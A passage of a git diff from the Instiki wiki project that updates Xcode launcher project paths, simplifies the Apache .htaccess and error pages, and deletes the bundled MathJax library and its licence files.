+					63,
+					20,
+					48,
+					43,
+					43,
+				);
+				PBXFileTableDataSourceColumnsKey = (
+					PBXFileDataSource_FiletypeID,
+					PBXFileDataSource_Filename_ColumnID,
+					PBXTargetDataSource_PrimaryAttribute,
+					PBXFileDataSource_Built_ColumnID,
+					PBXFileDataSource_ObjectSize_ColumnID,
+					PBXFileDataSource_Errors_ColumnID,
+					PBXFileDataSource_Warnings_ColumnID,
+				);
+			};
+			PBXPerProjectTemplateStateSaveDate = 144499731;
+			PBXWorkspaceStateSaveDate = 144499731;
+		};
+		perUserProjectItems = {
+			4FCAF055089CE9E40001C11B = 4FCAF055089CE9E40001C11B;
+			4FCAF05A089D096D0001C11B = 4FCAF05A089D096D0001C11B;
+		};
+		sourceControlManager = 4F32CD90089CC7BC003CF12F;
+		userBuildSettings = {
+		};
+	};
+	4F32CD80089CC78D003CF12F = {
+		activeArgIndex = 2147483647;
+		activeArgIndices = (
+		);
+		argumentStrings = (
+		);
+		configStateDict = {
+		};
+		cppStopOnCatchEnabled = 0;
+		cppStopOnThrowEnabled = 0;
+		customDataFormattersEnabled = 1;
+		debuggerPlugin = GDBDebugging;
+		disassemblyDisplayState = 0;
+		enableDebugStr = 1;
+		environmentEntries = (
+		);
+		executableSystemSymbolLevel = 0;
+		executableUserSymbolLevel = 0;
+		isa = PBXExecutable;
+		libgmallocEnabled = 0;
+		name = Instiki;
+		shlibInfoDictList_v2 = (
+		);
+		sourceDirectories = (
+		);
+	};
+	4F32CD90089CC7BC003CF12F = {
+		fallbackIsa = XCSourceControlManager;
+		isSCMEnabled = 0;
+		isa = PBXSourceControlManager;
+		scmConfiguration = {
+		};
+		scmType = "";
+	};
+	4F32CD91089CC7BC003CF12F = {
+		indexTemplatePath = "";
+		isa = PBXCodeSenseManager;
+	};
+	4FCAF055089CE9E40001C11B = {
+		fRef = 174B2765065CE31400ED6208;
+		isa = PBXBookmark;
+	};
+	4FCAF05A089D096D0001C11B = {
+		fRef = 174B2765065CE31400ED6208;
+		isa = PBXTextBookmark;
+		name = "AppDelegate.mm: 50";
+		rLen = 0;
+		rLoc = 1371;
+		rType = 0;
+		vrLen = 680;
+		vrLoc = 0;
+	};
+	8D1107260486CEB800E47090 = {
+		activeExec = 0;
+		executables = (
+			4F32CD80089CC78D003CF12F,
+		);
+	};
+}
diff --git a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj
index f71cb7bc..d50fd4d9 100644
--- a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj
+++ b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj
@@ -53,8 +53,7 @@
 			sourceTree = "<group>";
 		};
 		1058C7A1FEA54F0111CA2CBB = {
-			fallbackIsa = PBXFileReference;
-			isa = PBXFrameworkReference;
+			isa = PBXFileReference;
 			lastKnownFileType = wrapper.framework;
 			name = Cocoa.framework;
 			path = /System/Library/Frameworks/Cocoa.framework;
@@ -111,6 +110,10 @@
 		};
 		17BF6FD9067536EB003F37D6 = {
 			children = (
+				4F32CE69089CD9F5003CF12F,
+				4F32CE72089CD9F5003CF12F,
+				4F32CE81089CD9F5003CF12F,
+				4F32CE86089CD9F5003CF12F,
 				63B86D2F0673A5D300807E13,
 				63B86D1A0673A5B200807E13,
 				63B86D100673A58400807E13,
@@ -146,7 +149,7 @@
 			isa = PBXFileReference;
 			lastKnownFileType = "compiled.mach-o.executable";
 			name = ruby;
-			path = /usr/local/bin/ruby;
+			path = /usr/bin/ruby;
 			refType = 0;
 			sourceTree = "<absolute>";
 		};
@@ -160,7 +163,7 @@
 			isa = PBXFileReference;
 			lastKnownFileType = folder;
 			name = ruby;
-			path = /usr/local/lib/ruby;
+			path = /usr/lib/ruby;
 			refType = 0;
 			sourceTree = "<absolute>";
 		};
@@ -313,8 +316,7 @@
 			sourceTree = "<group>";
 		};
 		29B97324FDCFA39411CA2CEA = {
-			fallbackIsa = PBXFileReference;
-			isa = PBXFrameworkReference;
+			isa = PBXFileReference;
 			lastKnownFileType = wrapper.framework;
 			name = AppKit.framework;
 			path = /System/Library/Frameworks/AppKit.framework;
@@ -322,8 +324,7 @@
 			sourceTree = "<absolute>";
 		};
 		29B97325FDCFA39411CA2CEA = {
-			fallbackIsa = PBXFileReference;
-			isa = PBXFrameworkReference;
+			isa = PBXFileReference;
 			lastKnownFileType = wrapper.framework;
 			name = Foundation.framework;
 			path = /System/Library/Frameworks/Foundation.framework;
@@ -359,8 +360,6 @@
 //4A3
 //4A4
 		4A9504CCFFE6A4B311CA0CBA = {
-			buildRules = (
-			);
 			buildSettings = {
 				COPY_PHASE_STRIP = NO;
 				DEBUGGING_SYMBOLS = YES;
@@ -375,8 +374,6 @@
 			name = Development;
 		};
 		4A9504CDFFE6A4B311CA0CBA = {
-			buildRules = (
-			);
 			buildSettings = {
 				COPY_PHASE_STRIP = YES;
 				GCC_ENABLE_FIX_AND_CONTINUE = NO;
@@ -390,6 +387,85 @@
 //4A2
 //4A3
 //4A4
+//4F0
+//4F1
+//4F2
+//4F3
+//4F4
+		4F32CE69089CD9F5003CF12F = {
+			isa = PBXFileReference;
+			lastKnownFileType = folder;
+			name = config;
+			path = ../../../config;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
+		};
+		4F32CE72089CD9F5003CF12F = {
+			isa = PBXFileReference;
+			lastKnownFileType = folder;
+			name = public;
+			path = ../../../public;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
+		};
+		4F32CE81089CD9F5003CF12F = {
+			isa = PBXFileReference;
+			lastKnownFileType = folder;
+			name = script;
+			path = ../../../script;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
+		};
+		4F32CE86089CD9F5003CF12F = {
+			isa = PBXFileReference;
+			lastKnownFileType = folder;
+			name = vendor;
+			path = ../../../vendor;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
+		};
+		4F32D28F089CD9FC003CF12F = {
+			fileRef = 4F32CE69089CD9F5003CF12F;
+			isa = PBXBuildFile;
+			settings = {
+			};
+		};
+		4F32D290089CD9FC003CF12F = {
+			fileRef = 4F32CE72089CD9F5003CF12F;
+			isa = PBXBuildFile;
+			settings = {
+			};
+		};
+		4F32D291089CD9FC003CF12F = {
+			fileRef = 4F32CE81089CD9F5003CF12F;
+			isa = PBXBuildFile;
+			settings = {
+			};
+		};
+		4F32D292089CD9FC003CF12F = {
+			fileRef = 4F32CE86089CD9F5003CF12F;
+			isa = PBXBuildFile;
+			settings = {
+			};
+		};
+		4F32D336089CDDE0003CF12F = {
+			buildActionMask = 2147483647;
+			files = (
+			);
+			inputPaths = (
+			);
+			isa = PBXShellScriptBuildPhase;
+			outputPaths = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "";
+		};
+//4F0
+//4F1
+//4F2
+//4F3
+//4F4
 //630
 //631
 //632
@@ -400,6 +476,10 @@
 			dstPath = rb_src;
 			dstSubfolderSpec = 7;
 			files = (
+				4F32D290089CD9FC003CF12F,
+				4F32D291089CD9FC003CF12F,
+				4F32D28F089CD9FC003CF12F,
+				4F32D292089CD9FC003CF12F,
 				63B86D310673A5D600807E13,
 				63B86D1C0673A5B600807E13,
 				63B86D120673A59100807E13,
@@ -412,9 +492,9 @@
 			fileEncoding = 4;
 			isa = PBXFileReference;
 			name = app;
-			path = /Users/duff/Source/rb_src/instiki/app;
-			refType = 0;
-			sourceTree = "<absolute>";
+			path = ../../../app;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
 		};
 		63B86D120673A59100807E13 = {
 			fileRef = 63B86D100673A58400807E13;
@@ -426,10 +506,10 @@
 			explicitFileType = folder;
 			fileEncoding = 4;
 			isa = PBXFileReference;
-			name = libraries;
-			path = /Users/duff/Source/rb_src/instiki/libraries;
-			refType = 0;
-			sourceTree = "<absolute>";
+			name = lib;
+			path = ../../../lib;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
 		};
 		63B86D1C0673A5B600807E13 = {
 			fileRef = 63B86D1A0673A5B200807E13;
@@ -442,9 +522,9 @@
 			isa = PBXFileReference;
 			lastKnownFileType = text.script.ruby;
 			name = instiki.rb;
-			path = /Users/duff/Source/rb_src/instiki/instiki.rb;
-			refType = 0;
-			sourceTree = "<absolute>";
+			path = ../../../instiki.rb;
+			refType = 2;
+			sourceTree = SOURCE_ROOT;
 		};
 		63B86D310673A5D600807E13 = {
 			fileRef = 63B86D2F0673A5D300807E13;
@@ -470,6 +550,7 @@
 				8D11072E0486CEB800E47090,
 				17F6C3A90662960F007E0BD0,
 				63B86D0F0673A53100807E13,
+				4F32D336089CDDE0003CF12F,
 			);
 			buildRules = (
 			);
diff --git a/public/.htaccess b/public/.htaccess
index d3c99834..bf245115 100644
--- a/public/.htaccess
+++ b/public/.htaccess
@@ -3,13 +3,6 @@ AddHandler fastcgi-script .fcgi
 AddHandler cgi-script .cgi
 Options +FollowSymLinks +ExecCGI
 
-# If you don't want Rails to look in certain directories,
-# use the following rewrite rules so that Apache won't rewrite certain requests
-# 
-# Example:
-#   RewriteCond %{REQUEST_URI} ^/notrails.*
-#   RewriteRule .* - [L]
-
 # Redirect all requests not available on the filesystem to Rails
 # By default the cgi dispatcher is used which is very slow
 # 
@@ -18,14 +11,6 @@ Options +FollowSymLinks +ExecCGI
 # Example:
 #   RewriteRule ^(.*)$ dispatch.fcgi [QSA,L]
 RewriteEngine On
-
-# If your Rails application is accessed via an Alias directive,
-# then you MUST also set the RewriteBase in this htaccess file.
-#
-# Example:
-#   Alias /myrailsapp /path/to/myrailsapp/public
-#   RewriteBase /myrailsapp
-
 RewriteRule ^$ index.html [QSA]
 RewriteRule ^([^.]+)$ $1.html [QSA]
 RewriteCond %{REQUEST_FILENAME} !-f
diff --git a/public/404.html b/public/404.html
index 5f17be38..edbc89bf 100644
--- a/public/404.html
+++ b/public/404.html
@@ -1,10 +1,6 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd" >
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
-<head>
-<title>404</title>
-</head>
+<html>
 <body>
   <h1>File not found</h1>
-  <p>You were, perhaps, looking for <strong>cheese</strong>?</p>
+  <p>Change this error message for pages not found in public/404.html</p>
 </body>
-</html>
+</html>
\ No newline at end of file
diff --git a/public/500.html b/public/500.html
index 67a87ceb..ee0c919c 100644
--- a/public/500.html
+++ b/public/500.html
@@ -1,10 +1,6 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd" >
-<html  xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
-<head>
-<title>500</title>
-</head>
+<html>
 <body>
   <h1>Application error (Apache)</h1>
-  <p>Something <em>very bad</em> just happened. I just <em>know it</em>. Do you smell smoke?</p>
+  <p>Change this error message for exceptions thrown outside of an action (like in Dispatcher setups or broken Ruby code) in public/500.html</p>
 </body>
-</html>
+</html>
\ No newline at end of file
diff --git a/public/MathJax/COPYING.txt b/public/MathJax/COPYING.txt
deleted file mode 100644
index d6456956..00000000
--- a/public/MathJax/COPYING.txt
+++ /dev/null
@@ -1,202 +0,0 @@
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/public/MathJax/LICENSE b/public/MathJax/LICENSE
deleted file mode 100644
index d6456956..00000000
--- a/public/MathJax/LICENSE
+++ /dev/null
@@ -1,202 +0,0 @@
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/public/MathJax/MathJax.js b/public/MathJax/MathJax.js
deleted file mode 100644
index f05132e9..00000000
--- a/public/MathJax/MathJax.js
+++ /dev/null
@@ -1,30 +0,0 @@
-/*************************************************************
- *
- *  MathJax.js
- *  
- *  The main code for the MathJax math-typesetting library.  See 
- *  http://www.mathjax.org/ for details.
- *  
- *  ---------------------------------------------------------------------
- *  
- *  Copyright (c) 2009-2010 Design Science, Inc.
- * 
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- * 
- *      http://www.apache.org/licenses/LICENSE-2.0
- * 
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-if (!window.MathJax) {window.MathJax = {}}
-
-MathJax.isPacked = true;
-
-if(document.getElementById&&document.childNodes&&document.createElement){if(!window.MathJax){window.MathJax={}}if(!MathJax.Hub){MathJax.version="1.1a";MathJax.fileversion="1.1.7";(function(d){var b=window[d];if(!b){b=window[d]={}}var f=[];var c=function(g){var h=g.constructor;if(!h){h=new Function("")}for(var i in g){if(i!=="constructor"&&g.hasOwnProperty(i)){h[i]=g[i]}}return h};var a=function(){return new Function("return arguments.callee.Init.call(this,arguments)")};var e=a();e.prototype={bug_test:1};if(!e.prototype.bug_test){a=function(){return function(){return arguments.callee.Init.call(this,arguments)}}}b.Object=c({constructor:a(),Subclass:function(g,i){var h=a();h.SUPER=this;h.Init=this.Init;h.Subclass=this.Subclass;h.Augment=this.Augment;h.protoFunction=this.protoFunction;h.can=this.can;h.has=this.has;h.isa=this.isa;h.prototype=new this(f);h.prototype.constructor=h;h.Augment(g,i);return h},Init:function(g){var h=this;if(g.length===1&&g[0]===f){return h}if(!(h instanceof g.callee)){h=new g.callee(f)}return h.Init.apply(h,g)||h},Augment:function(g,h){var i;if(g!=null){for(i in g){if(g.hasOwnProperty(i)){this.protoFunction(i,g[i])}}if(g.toString!==this.prototype.toString&&g.toString!=={}.toString){this.protoFunction("toString",g.toString)}}if(h!=null){for(i in h){if(h.hasOwnProperty(i)){this[i]=h[i]}}}return this},protoFunction:function(h,g){this.prototype[h]=g;if(typeof g==="function"){g.SUPER=this.SUPER.prototype}},prototype:{Init:function(){},SUPER:function(g){return g.callee.SUPER},can:function(g){return typeof(this[g])==="function"},has:function(g){return typeof(this[g])!=="undefined"},isa:function(g){return(g instanceof Object)&&(this instanceof g)}},can:function(g){return this.prototype.can.call(this,g)},has:function(g){return this.prototype.has.call(this,g)},isa:function(h){var g=this;while(g){if(g===h){return true}else{g=g.SUPER}}return false},SimpleSUPER:c({constructor:function(g){return this.SimpleSUPER.define(g)},define:function(g){var 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-
diff --git a/public/MathJax/README-branch.txt b/public/MathJax/README-branch.txt
deleted file mode 100644
index 321fcf29..00000000
--- a/public/MathJax/README-branch.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is release branch v1.1 of MathJax.
diff --git a/public/MathJax/README.md b/public/MathJax/README.md
deleted file mode 100644
index eee7fca9..00000000
--- a/public/MathJax/README.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# MathJax
-
-## Beautiful math in all browsers
-
